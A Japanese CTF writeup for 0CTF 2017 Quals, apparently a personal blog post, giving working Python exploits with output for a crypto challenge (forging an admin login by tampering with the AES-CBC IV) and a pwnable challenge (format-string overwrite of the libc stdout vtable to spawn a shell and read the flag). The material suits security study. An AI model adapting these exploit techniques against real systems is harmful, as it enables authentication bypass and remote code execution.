読者です 読者をやめる 読者になる 読者になる

0CTF 2017 Quals 供養(Writeup)

0CTF 2017 Qualsに参加。237ptで119位。

Welcome (Misc 12)

IRCのチャンネルトピックにflagがある。

#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net  (flag{Welcome_to_0CTF_2017})

integrity (Crypto 75)

AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5(128 bit)になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。

from minipwn import *
import hashlib

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX'

s = socket.create_connection(('202.120.7.217', 8221))
print recvuntil(s, '[l]ogin\n')
sendline(s, 'r')
sendline(s, expanded)
print recvuntil(s, 'secret:\n')
secret_hex = recvline(s).rstrip()

secret = secret_hex.decode('hex')
iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:]

h1 = hashlib.md5(expanded[:-1]).digest()
h2 = hashlib.md5(pad(expanded)).digest()
h_xor = xor(h1, h2)

secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1
secret2_hex = secret2.encode('hex')

print recvuntil(s, '[l]ogin\n')
sendline(s, 'l')
sendline(s, secret2_hex)

interact(s)
$ python test.py
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin

Here is your secret:

Please [r]egister or [l]ogin

Welcome admin!
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

Please [r]egister or [l]ogin

EasiestPrintf (Pwnable 150)

任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。

$ bash checksec.sh --file EasiestPrintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   EasiestPrintf

bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。

$ gdb ./EasiestPrintf core
Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done.
[New LWP 5607]
Core was generated by `./EasiestPrintf'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xf76411bb in ?? () from /lib32/libc.so.6
(gdb) x/i $pc
=> 0xf76411bb:  call   DWORD PTR [ecx+0x1c]
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb) dps $esp
ff9ea650  0xf77add60 <_IO_2_1_stdout_>
ff9ea654  0xff9ea730 ' ' <repeats 200 times>...
ff9ea658  0x142
ff9ea65c  0xb
ff9ea660  0xff9ea7d0
ff9ea664  0xf76d1253 <write+35>
ff9ea668  0x142
ff9ea66c  0xf76654c1 <_IO_file_write+97>
ff9ea670  0x1
ff9ea674  0xff9ea7d0
ff9ea678  0xf7658580 <funlockfile>
ff9ea67c  0xf77add60 <_IO_2_1_stdout_>
ff9ea680  0x0
ff9ea684  0x0
ff9ea688  0xfbad8004
ff9ea68c  0xf77add60 <_IO_2_1_stdout_>

上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]が呼ばれることがわかる。 vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列shを書き込むことでシェルを起動できる。

from minipwn import *

#s = connect_process(['./EasiestPrintf'])
s = socket.create_connection(('202.120.7.210', 12321))

addr_stdout = 0x0804a044

print recvuntil(s, ':\n')
sendline(s, str(addr_stdout))
data = recvline(s)
libc_stdout = int(data, 16)
print "[+] libc_stdout = %x" % libc_stdout
libc_stdout_vtable = libc_stdout + 0x94
#libc_system = libc_stdout - 0x001b0d60 + 0x0003a940
libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0

str_sh = u32('sh\x00\x00')
x1 = libc_system
x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF
x2 = libc_stdout - 4 - 0x1c
x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF

print recvuntil(s, 'Good Bye\n')

# libc_stdout = 'sh\x00\x00'
# libc_stdout-4 = &system
# libc_stdout_vtable+0x1c = &(libc_stdout-4)
buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable)
buf += '%' + str(str_sh-16) + 'c%7$n'
buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn'
buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn'
buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn'

sendline(s, buf)

interact(s)
$ python test.py
Which address you wanna read:

[+] libc_stdout = f7737ac0
Good Bye
(snip)
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls -R home
home:
EasiestPrintf
java

home/EasiestPrintf:
EasiestPrintf
flag

home/java:
cat /home/EasiestPrintf/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}

所感

他に解きたかった問題は以下。

  • simplesqlin (Web 33)
  • oneTimePad (Crypto 114)
  • Temmo’s Tiny Shop (Web 122)
  • char (Pwnable 130)
  • KoG (Web 146)